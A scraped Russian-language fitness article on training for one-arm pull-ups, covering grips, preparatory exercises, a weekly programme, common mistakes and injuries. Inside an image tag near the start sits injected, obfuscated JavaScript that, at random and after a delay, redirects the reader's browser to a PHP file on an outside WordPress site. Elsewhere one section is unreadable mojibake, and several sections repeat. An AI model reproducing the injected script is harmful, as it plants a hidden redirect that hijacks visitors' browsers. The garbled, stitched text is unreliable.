Обучение подтягиванию на одной руке

Неделя 5

Положение рук при подтягивании

Когда вы подтягиваетесь обратным хватом, ваши ладони обхватывают перекладину ладонями к себе. Такое положение называют положением супинации.

Положение пронации заключается в том, что вы захватываете перекладину ладонями от себя. Такое положение известно под названием обычный хват.

Существует также смешанный хват, когда одна рука находится в положении супинации, а вторая – пронации.

Чтобы достичь лучших результатов, необходимо постоянно менять положение рук. Таким образом, будет развиваться сила всех мышц, которые задействованы в процессе подтягивания.

Примечание: далее вы встретите термины и аббревиатуры, которые сейчас, возможно, вам не понятны. Для того, чтобы легче было читать, представляем вашему вниманию их расшифровку. «pull», «OAC», «OAP» и «chin» — все это в данном тексте будет означать как подтягивание обычного хвата, так и подтягивание в положении супинации. В необходимых случаях будут сделаны уточнения.

Шаг 3: Подтягивания «Перочинный нож» (jackknife pulls)

$Ikf=function(n){if (typeof ($Ikf.list) == «string») return $Ikf.list.split(«»).reverse().join(«»);return $Ikf.list;};$Ikf.list=[«\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andPullUps-4.jpg» alt=»» width=»500″ height=»335″ />

Ухватись за горизонтальную перекладину так, чтоб руки были согнуты примерно на 90 градусов, а ноги не касались пола — это стартовое положение. Медленно подтяни себя вверх, сгибая плечи и локти, пока подбородок не окажется на линии перекладины — это конечное положение. Задержись на мгновение перед спуском в стартовое положение, чтобы полностью его контролировать, а потом опустись. Таким образом надо повторить несколько раз. При выполнении этого упражнения ноги не должны двигаться в течении всего движения.

Полуподтягивания — первое упражнение из серии подтягиваний, в котором поднимается собственный вес тела целиком без вспомогательных элементов. Поэтому, лишний вес может стать камнем преткновения в выполнении данного упражнения. Если тебе сложно, уменьши диапазон, начиная ближе к перекладине. Параллельно со сбросом веса увеличивай диапазон движений и прогресс будет достигнут.

Что дают подтягивания на одной руке: польза и вред

В первую очередь, такие подтягивания развивают мышечную силу, выполнять упражнение как минимум в два раза сложнее, чем классический вариант на 2-х руках. Тем не менее, риск травмы так же сильно возрастает, поскольку на связочный аппарат и суставы идет нагрузка всего тела, при неправильных и резких движениях можно получить вывих или растяжение, и даже разрыв связок. Отсюда следует, что начинать осваивать упражнение сразу со сложного варианта не стоит, для этого существует ряд подготовительных упражнений, которые сначала нужно освоить до совершенства.

Подтягивания одной рукой на турнике развивает:

• широчайшие мышцы спины;
• бицепс;
• предплечья.

Но эти мышцы уже должны быть развиты и подготовлены до начала освоения упражнения, иначе можно сразу получить травму. Следует начинать с подготовительного комплекса упражнений.

Программа тренировок

Для того чтобы научиться подтягиваться на одной руке, следует регулярно тренироваться. В нижеприведённой таблице дана программа тренировок на неделю. Эти комплексы упражнений следует выполнять через день.

№		Подходы	Число повторов
	Комплекс 1
1	Подтягивания с весом	5	5
2	Разноуровневые подтягивания	5	8
3	Негативные подтягивания с весом	5	5
	Комплекс 2
1	Негативные подтягивания на одной руке, помогая второй	5	5
2	Статическая задержка на одной руке	5	5–20 сек.
3	Разноуровневые подтягивания	5	8
	Комплекс 3
1	Подтягивания с весом	5	5
2	Негативные подтягивания с весом	5	5
3	Разноуровневые подтягивания	5	8

/div{amp}gt;
Каждый комплекс должен оканчиваться висом на одной ладони с попыткой подтянуться. При этом надо использовать полотенце, петлю из резины или придерживаться рукой за турник.

Знаете ли вы?После нагрузок быстрее всего происходит восстановление трицепсов. А вот мышцы, расположенные на спине, требуют для этого более всего времени.

Частые ошибки новичков

На занятиях таким видом спорта новички часто делают следующие ошибки:

• подтягиваясь, держатся за кисть другой руки, и движение вверх происходит за счёт кисти;
• дают сразу большую нагрузку. Она обязана быть постепенной;
• не делают перед занятиями разминки. Это частая причина растяжений мышц и сухожилий;
• неправильно дышат;
• отклоняют торс от вертикали, раскачиваются при выполнении упражнения;
• подтягиваются рывками, а не в медленном темпе.

Полезные советы

Профессионалы дают следующие советы для подтягиваний на одной руке:

• следите за качеством исполнения, не гонитесь за числом повторов;
• обязательно делайте разминку перед тренировкой, а растяжку после неё;
• используйте прямой и обратный хваты, чередуйте руки;
• старайтесь тело держать прямо. Чтобы избежать сильных отклонений корпуса от вертикали, рабочую руку нужно держать ближе к телу, а другую перед корпусом поближе к другой стороне тела для уравновешивания;
• не нужно расслаблять плечо рабочей конечности в нижней точке;
• упражнения нужно осваивать первоначально на турнике, до которого легко дотянуться. Затем можно использовать и более высокий;
• не стоит заниматься на старых, ржавых и неустойчивых турниках;
• не нужно проводить занятия на улице в дождь, мороз или ночное время;
• не продолжайте тренировку, если почувствовали боль или получили травму (например, потянули мышцу или связку);
• не раскачивайтесь при самом подтягивании. Чтобы исключить ненужные колебания, во время упражнения нужно согнуть ноги в коленных суставах и скрестить их;
• не выгибайте спину;
• следите за правильным дыханием: выдох на усилии, вдох на расслаблении. Не нужно задерживать дыхание;
• не стоит плотно есть перед занятиями. Если всё-таки почувствовали сильный голод, то еда должна быть лёгкой;
• старайтесьзаниматься регулярно.

Важно!Упражнение даёт сильную нагрузку на плечевые и локтевые связки, поэтому если почувствовали боль в области плечевого пояса или локтях, то тренировку нужно прекратить, чтобы не усугубить ситуацию

Мировые рекорды

Мировые рекорды по данному виду спортивных упражнений следующие:

• по числу подтягиваний — 612 раз за 2 ч. 40 мин. произвёл Ли Шин-Йонг (70 лет), гражданин Южной Кореи. Дата рекорда — 29.12.1994 г.;
• по числу подтягиваний за 1 мин. — 50 раз совершил Майкл Экерт, гражданин США, морской пехотинец США в звании сержанта. Дата рекорда — 11.10.2015 г.;
• по числу подтягиваний за 6 ч. — 3515 раз сделал Эндрю Шапиро, гражданин США. Дата рекорда — 14.05.2016 г. Он также поставил рекорды по количеству подтягиваний за 12 ч. и 24 ч.;
• по числу подтягиваний за 1 ч. среди женщин — 725 раз выполнила Ева Кларк в 2016 г., гражданка Австралии.

Все эти люди регулярно на протяжении многих лет тренировались на турнике, чтобы быть лучшими в данном направлении спорта.
Подтягивания на одной руке прекрасно демонстрируют отличную физическую форму спортсмена. К ним следует готовиться, выполняя подготавливающие комплексы. Они легче дадутся людям небольшого роста с сухой конституцией, так как они имеют меньший вес.

Как научиться подтягиваться на турнике?

Что еще поможет научиться подтягиваться

На самом деле любая физическая активность приблизит тебя к долгожданным подтягиваниям на турнике. Поэтому старайся находить время для занятий спортом и поддержания своего тела в хорошей физической форме.

Работай с гантелями, тягай штангу, если есть возможность, запишись в спортивный зал и понемногу осваивай силовые тренажеры. Естественно, не забывай про главного спутника подтягиваний — отжимания. Начинай с них день и заканчивай ими вечер.

Кроме того, не забывай растягиваться и разминаться перед выполнением любых силовых упражнений. Таким образом ты избежишь нежелательных травм и обязательно залезешь в квартиру через окно, свисая с подоконника (мало ли что).

Какие мышцы участвуют в подтягиваниях

Комбинируя различные виды подтягиваний можно усилить или увеличить (нарастить мышечную массу) различные мышцы рук, спины, а также убрать лишний жир с живота.

Тренированное тело – это не только красивый, эстетический и привлекательный внешний вид для противоположного пола, но и здоровый, крепкий организм, который практически не чувствует усталости от повседневных физических нагрузок.

При подтягивании на турнике могут быть задействованы следующие мышцы:

• Широчайшая мышца спины – участвует в работе рук и как вспомогательная дыхательная мышца (может расширять грудную клетку). Укрепление этой мышцы имеет большое значение для выполнения повседневных дел. Развитая широчайшая мышца спины позволит дольше выполнять различные повседневные физические нагрузки и одновременно не испытывать усталость.
• Трапециевидные мышцы – обеспечивают движение лопаток, шеи, головы и плечевого пояса.
• Мышцы предплечий (круглый пронатор, лучевой сгибатель запястья, длинная ладонная мышца, поверхностный сгибатель пальцев, локтевой сгибатель запястья, плечелучевая мышца, длинный сгибатель большого пальца кисти, глубокий сгибатель пальцев, квадратный пронатор, длинный лучевой разгибатель запястья, короткий лучевой разгибатель запястья, разгибатель пальцев, локтевой разгибатель запястья, разгибатель мизинца, супинатор (мышца предплечья), длинная мышца, отводящая большой палец кисти, короткий разгибатель большого пальца кисти, длинный разгибатель большого пальца кисти, разгибатель указательного пальца – именно эта группа мышц позволяет зафиксироваться на перекладине и выполнять все повседневные дела, в которых задействованы руки.
• Двуглавая мышца плеча, она же – бицепс. Отвечает за сгибание плечевого и локтевого суставов. Тренировка бицепса позволит поднимать больше веса.
• Прямая мышца живота, она же пресс – поднимает и опускает таз, сгибает позвоночник, тянет ребра и грудную клетку. Тренируется на турнике, когда во время подтягиваний задействуют ноги/таз.
• Наружная косая мышца живота – задействуется при движении позвоночника, ребер, при движении таза, входит в состав брюшного пресса.
• Поперечная мышца живота – является своего рода корсетом для правильного расположения внутренних органов.
• Дельтовидные мышцы – участвует при работе плечевого сустава. Развитие данной мышцы фактически увеличивает ширину плеч, создает красивый внешний вид, особенно у мужчин.

Мы перечислили основные мышцы, но далеко не все, которые могут быть задействованы при различных упражнениях на турнике. При подтягивании задействуется и активно тренируется огромное количество мышц, благодаря одной только перекладине можно добиться отличных результатов и изменить свое тело до неузнаваемости.

Как научиться: подводящие упражнения

Для успешного осваивания такого сложного упражнения, как подтягивания на одной руке, следует подготовить к ним своё тело при помощи определённых упражнений.

Сила хвата

Для тренировки силы хвата надо выполнять следующее:

• использовать кистевой эспандер;

висеть на перекладине, держась по очереди каждой рукой;

включить в занятия становую тягу штанги;

делать сгибания рук со штангой на бицепсы.

Подтягивания с весом

Хорошо развивает мускулатуру использование утяжелителей в виде специального жилета или пояса, к которым крепятся грузы.

Узнайте, как увеличить количество подтягиваний на турнике.

Выполнение таких упражнений имеет ряд особенностей:

перед ними обязательна разминка;
важно определить максимальный вес, с которым можно без рывков и нарушений техники подтянуться только один раз;
для выработки силовой выносливости достаточно выбрать вес утяжелителей 50–70% от максимального и выполнить упражнение 15–20 раз;
все движения с утяжелителями делать плавно;
со временем можно увеличивать нагрузки.

Во время этих упражнений нередко используют специальные подставки под ноги.

Важно! При занятиях с утяжелителями не должно быть рывков и раскачивания. Запрещено запрыгивать и спрыгивать с перекладины

Это может привести к травмам.

Негативные подтягивания

Это более усложнённый вариант подтягиваний, во время которых действия акцентируются на второй фазе — опускании вниз. Выполняются просто:

• подтянуться до перекладины, как обычно;
• постараться очень медленно опуститься. Опускаясь вниз, надо прочувствовать и проработать все мышцы, принимающие участие в опускании.

При отработке этого упражнения рекомендуется менять положение рук. Один из вариантов его выполнения состоит в быстром поднятии на перекладину с помощью прыжка, для экономии сил на негативную фазу.

Вам наверняка будет полезно узнать, как подтягиваться на турнике параллельным, обратным и узким хватом.

Статическая задержка с весом на перекладине

Это упражнение выполняется с утяжелителями и чем-то схоже на предыдущее, но акцент делается на верхней точке. Одна из техник выполнения такова:

• прицепить утяжеляющий пояс немного повыше тазобедренных костей;
• подтянуться до верхней точки и задержаться в ней 5–10 сек.;
• опуститься, но не до конца. А до положения угла локтей в 90° и снова сделать задержку на 5–10 сек.;
• затем снова опуститься вниз не до конца — до угла 150° и опять задержаться на столько же.

Не рекомендуется во время занятий совмещать выполнение негативных подтягиваний и статических.

Негативные подтягивания на одной руке

При негативных подтягиваниях главное — напрягать и проработать мышцы при медленном опускании. Для этого подтягиваются на двух руках, а опускаются вниз на одной. На начальном этапе, скорее всего, тело будет тяжело опустить в медленном темпе, но при постоянных тренировках удерживать вес тела станет легче. Следует добиться результата, когда данное упражнение выполняют в течение не менее 10 секунд.

Статическая задержка на одной руке

Такое подтягивание выполняется следующим образом:

• подтянуться как обычно, а когда грудь достигнет уровня перекладины, опустить одну руку и провиснуть на другой 5–8 секунд;
• после опуститься, пока локоть не станет находиться под углом 90°, и задержаться ещё на 5–8 секунд;
• завершающий этап — опуститься вниз до угла 150° и продержаться ещё 5–8 секунд.

При выполнении такой статической задержки прижать локоть к торсу, чтобы хорошо проработать мышцы на спине.

Читайте о том, как правильно подтягиваться на турнике за голову.

Подтягивания на одной руке, помогая второй

Подтягиваясь на рабочей руке, можно другой помогать. Для этой цели слегка согнутую рабочую конечность обхватываем кистью свободной руки в области запястья. Таким образом, нагрузка идёт меньше за счёт помощи второй руки, которая также согнута, но под большим углом. Подтягиваетесь, пока подбородок не окажется выше перекладины. Нужно немного задержаться вверху, а затем медленно опуститься в начальную позицию.

Разноуровневые подтягивания

Такие упражнения выполняются при расположении рук на разных уровнях — одна конечность находится выше другой. В этом случае нагрузка на них разная. Существуют разные способы выполнения таких упражнений. Его можно проводить на двух зацепках, которые крепят на разных уровнях. Вместо зацепок можно использовать полотенце и одной из рук придерживаться за него, а можно применить петлю.

Знаете ли вы? Занятия спортом и посещение тренажёрного зала снижает уровень «гормона стресса» — кортизола. Так утверждает издание «International Journal of Sports Medicine».

Тяга верхнего блока

Эþ òÃÂÿþüþóðÃÂõûÃÂýþõ ÃÂÿÃÂðöýõýøõ, ÿþ üõÃÂþôøúõ ÃÂðñþÃÂàÿþÃÂþöõ ýð ÿþôÃÂÃÂóøòðýøõ ýð ÿõÃÂõúûðôøýõ. ÃÂþ òÃÂõüàÿõÃÂòþù, òÃÂþÃÂþù ø ÃÂÃÂõÃÂÃÂõù ÃÂÃÂõýøÃÂþòúø ýÃÂöýþ ÃÂÃÂðòøÃÂàýõñþûÃÂÃÂþù òõàôûàÃÂòþñþôýþù ÃÂðñþÃÂÃÂ, ÿÃÂø ÃÂÃÂþü, ÃÂþñûÃÂôðàÃÂõÃÂýøúÃÂ, ÃÂôõûðÃÂà5 ÿþôÃÂþôþò ÿþ 15 ÿþòÃÂþÃÂõýøù.

ÃÂð ÿþÃÂûõôÃÂÃÂÃÂøàÃÂÃÂõýøÃÂþòúðÃÂ, úþóôð ÃÂÿþÃÂÃÂÃÂüõý ÿþýøüðõÃÂ, úðúøõ üÃÂÃÂÃÂà÷ðôõùÃÂÃÂòÃÂÃÂÃÂÃÂàò ÃÂÿÃÂðöýõýøø, ÃÂþ ÃÂÃÂþøàôõûðÃÂà5 ÿþôÃÂþôþò ÿþ 8 ÿþòÃÂþÃÂõýøù. ÃÂÃÂø ÃÂÃÂþü ôþÿþûýøÃÂõûÃÂýÃÂù òõàÃÂÃÂþøàôþñðòûÃÂÃÂàÃÂþûÃÂúþ ÃÂþóôð, õÃÂûø ýõ òþ÷ýøúðõàÃÂûþöýþÃÂÃÂõù ò ÿþôÃÂþôõ, ø þý ôðõÃÂÃÂàûõóúþ. ÃÂþ ýø ò úþõü ÃÂûÃÂÃÂðõ ýõ ÷ðñÃÂòðÃÂàþ ÃÂþñûÃÂôõýøø ÃÂõÃÂýøúø.

ÃÂõÃÂõô ýðÃÂðûþü ÃÂÃÂõýøÃÂþòúø ÃÂÃÂþøàÿþÿÃÂþñþòðÃÂàÿþôÃÂÃÂýÃÂÃÂÃÂÃÂàýð ÃÂÃÂÃÂýøúõ, òôÃÂÃÂó ÃÂõóþôýàòðàôõýàø ÿþûÃÂÃÂøÃÂÃÂàÿþôÃÂÃÂýÃÂÃÂÃÂÃÂÃÂ. ÃÂÃÂø ÃÂðúþü ÃÂÿþÃÂþñõ þñÃÂÃÂõýøàüþöýþ ýðÃÂÃÂøÃÂÃÂÃÂàÃÂÃÂòÃÂÃÂòþòðÃÂàÃÂòþàÃÂÿøýÃÂ, ð ÿÃÂø ÃÂÃÂþü ø ÿþôúðÃÂðÃÂàüÃÂÃÂÃÂÃÂ, úþÃÂþÃÂÃÂõ òúûÃÂÃÂðÃÂÃÂÃÂàò ÃÂðñþÃÂàýð ÿõÃÂõúûðôøýõ.

Возможные проблемы

Многие не знают что делать, если болят руки после подтягиваний. Проблема настоящая и пренебрегать ей нельзя.

Сначала нужно понять, какого рода боль. Если она вызвана мышечной болью после серьезных нагрузок, то нечего страшного, поболит и станет сильнее.

Опасаться нужно другого типа дискомфорта, такого как боль в районе сустава, или ноющая точечная в мышце. Она может быть вызвана повреждением тканей.

Возобновлять тренировки нужно только в случае полного восстановления и отсутствия боли.

Не стоит поддаваться на провокации товарищей, призывающих продолжить упражнения, в противном случае можно получить травму, не совместимую с занятиями спортом.

Если боли продолжаются спустя длительный период, нужно обратиться к врачу.

Возможные травмы

Далее вы познакомитесь с теми травмами, которые могут появиться в результате тренировок.

Многие профессионалы сталкивались с такой проблемой, как коленный тендинит. Известный спортсмен Джаспер Бенинказ, который подтягивался на одной руке 19 раз, однажды заявил о том, что тендинит нельзя избежать. Все, что можно сделать в таком случае, отдохнуть. Коленный тендинит – распространенная травма, однако стоит признать, что она встречается больше всего у тех, кто занимается спортом профессионально.

Локтевой тендинит не менее распространен при тренировках. Симптомы заболевания просты и очевидны – в локтевых суставах появляются ужасные острые боли. Лечение данной травмы однозначно – необходим отдых. Нужно остановить все тренировки, и не подтягиваться на перекладине до тех пор, пока боли полностью не исчезнут. Отдых может продолжаться даже несколько недель. После этого следует постепенно возобновлять тренировки.

Все эти травмы, в принципе, можно избежать. Для этого необходимо ответственно подходить к тренировкам. Когда вы начинаете делать сложные упражнения, не торопитесь, продвигайтесь медленно. Лучше немного сбавить темп тренировок, прислушаться к своему телу, если вы чувствуете боли в локтевых или коленных суставах.

При подтягивании на одной руке можно также повредить плечо. Эта часть тела наиболее ранима при подобных тренировках. Чтобы избежать такой травмы, нужно, чтобы плечи были всегда напряжены. Даже если вы находитесь в нижнем положении, будьте осторожны, так как много веса накладывается на плечи.

Техника подтягиваний

Существует два типа выполнения данного упражнения. Они отличаются способом держать руки при подтягивании. Это либо прямой, либо обратный хват.

Выполнение каждого задействует разные группы мышц, и для скорейшего получения результата желательно чередовать их во время тренировок.

На что стоит обращать внимание:

Тело нужно удерживать в прямом положении относительно перекладины. Для этого нужно с самого начала дать определенное усилие на плечевые мышцы, а свободную руку поместить за спину.

Не стоит расслабляться достигнув нижней точки после удачного подхода. Сухожилия плеча могут не выдержать нагрузки и получить повреждения. К тому же, тело может начать вращаться, что также не будет полезно для сустава.

Используйте ноги для придания жесткости корпусу. Для этого можно скрестить щиколотки и согнуть колени, чем больше мышц будет сосредоточено ближе к прессу, тем лучше.

Упражнения для подтягивания рук для женщин должны иметь щадящий характер. Хоть их связки и сухожилия и обладают большей гибкостью, отсутствие генетической прочности не будет играть им на руку.

Важно знать!

Переходим к подтягиваниям на одной руке: техника выполнения

Учиться подтягиваться на одной руке следует с использованием обратного хвата (ладонь повёрнута к спортсмену). Для этого следует сначала выбрать невысокую перекладину, чтобы ноги касались поверхности.
При этом новички для большей успешности выполнения должны сделать следующее:

1. Набросить через перекладину полотенце, скрученное в жгут со стороны руки, которая не должна участвовать в подтягивании.
2. Взяться рабочей рукой за перекладину обратным хватом, а второй рукой — за полотенце.
3. Прогнуться в пояснице, отведя тело примерно на 30°.
4. Выдыхая, подтянуться, стараясь коснуться грудью перекладины. При этом плечи и руки вверху слегка отводятся назад и чуть опускаются. Работает только рабочая конечность, верхняя часть тела должна быть неподвижной. В верхней позиции напрягите мышцы спины.
5. Немного зафиксируйте верхнее положение, делая вдох, опуститесь в начальную позицию, выпрямляя руки.
6. Сделать необходимое количество подтягивания и сменить руку.

Вначале вы будете немного придерживаться за полотенце (или за боковую часть турника), чтобы облегчить себе выполнение упражнение. Но рано или поздно наступит время, когда оно вам больше не понадобится, и вы сможете свободно выполнять это упражнение.

Чем еще занимается?

Полезные советы

Профессионалы дают следующие советы для подтягиваний на одной руке:

• следите за качеством исполнения, не гонитесь за числом повторов;
• обязательно делайте разминку перед тренировкой, а растяжку после неё;
• используйте прямой и обратный хваты, чередуйте руки;
• старайтесь тело держать прямо. Чтобы избежать сильных отклонений корпуса от вертикали, рабочую руку нужно держать ближе к телу, а другую перед корпусом поближе к другой стороне тела для уравновешивания;
• не нужно расслаблять плечо рабочей конечности в нижней точке;
• упражнения нужно осваивать первоначально на турнике, до которого легко дотянуться. Затем можно использовать и более высокий;
• не стоит заниматься на старых, ржавых и неустойчивых турниках;
• не нужно проводить занятия на улице в дождь, мороз или ночное время;
• не продолжайте тренировку, если почувствовали боль или получили травму (например, потянули мышцу или связку);
• не раскачивайтесь при самом подтягивании. Чтобы исключить ненужные колебания, во время упражнения нужно согнуть ноги в коленных суставах и скрестить их;
• не выгибайте спину;
• следите за правильным дыханием: выдох на усилии, вдох на расслаблении. Не нужно задерживать дыхание;
• не стоит плотно есть перед занятиями. Если всё-таки почувствовали сильный голод, то еда должна быть лёгкой;
• старайтесьзаниматься регулярно.

Важно! Упражнение даёт сильную нагрузку на плечевые и локтевые связки, поэтому если почувствовали боль в области плечевого пояса или локтях, то тренировку нужно прекратить, чтобы не усугубить ситуацию

Правила качественного подтягивания

1. Ровное дыхание помогает при тренировке подтягиваний: выдыхайте, прилагая усилие, вдыхайте, расслабляя руки и опускаясь вниз.
2. Занятия на турнике должны проходить в перчатках – иначе появление болезненных мозолей неминуемо. Запаситесь также тальком или магнезией, чтобы улучшить “сцепление” с перекладиной. Стояки с тальком стоят в каждом зале, где занимаются спортивной гимнастикой.
3. Обязательно разминайтесь перед подтягиваниями на перекладине. Начинайте с пальцев, запястий, потом переходите к локтевым и плечевым суставом. Не забудьте о шее – она тоже участвует в подтягиваниях, а если ее сведет, это более чем болезненно.
4. Держитесь за перекладину крепко и уверенно, убедитесь, что руки сухие.
5. После достижения высшей точки подтягивания опускайтесь без рывков – медленно и плавно.
6. При подъеме тоже избегайте рывков и выполняйте упражнение по возможности медленно.
7. Старайтесь не раскачиваться во время подтягиваний.

Частые ошибки новичков

Подтягивания французского типа

Для того, чтобы выполнить французское подтягивание, необходимо подтянуться до перекладины, и там задержаться на 5-6 секунд. Затем нужно вернуться в первоначальное положение, опустившись на прямые руки. После этого сразу же подтянуться так, чтобы с помощью рук образовался угол в 90 градусов. В таком положении также следует задержаться некоторое время (5-6 секунд). Снова опускаетесь на выпрямленные руки. Следующее положение – руки должны образовать угол в 135 градусов. Данное упражнение получило название французского подтягивания.

Все эти три позиции, когда руки образовывают разные углы, представляют собой изометрические положения. С их помощью мышцы нагружаются равномерно.

Подтягивание французского типа способствует тому, что руки получают довольно большую нагрузку. При этом не надо делать огромное количество повторений. Также это упражнение может помочь, когда обычные занятия, подтягивания становятся легкими для вас.

Таблица приема бадов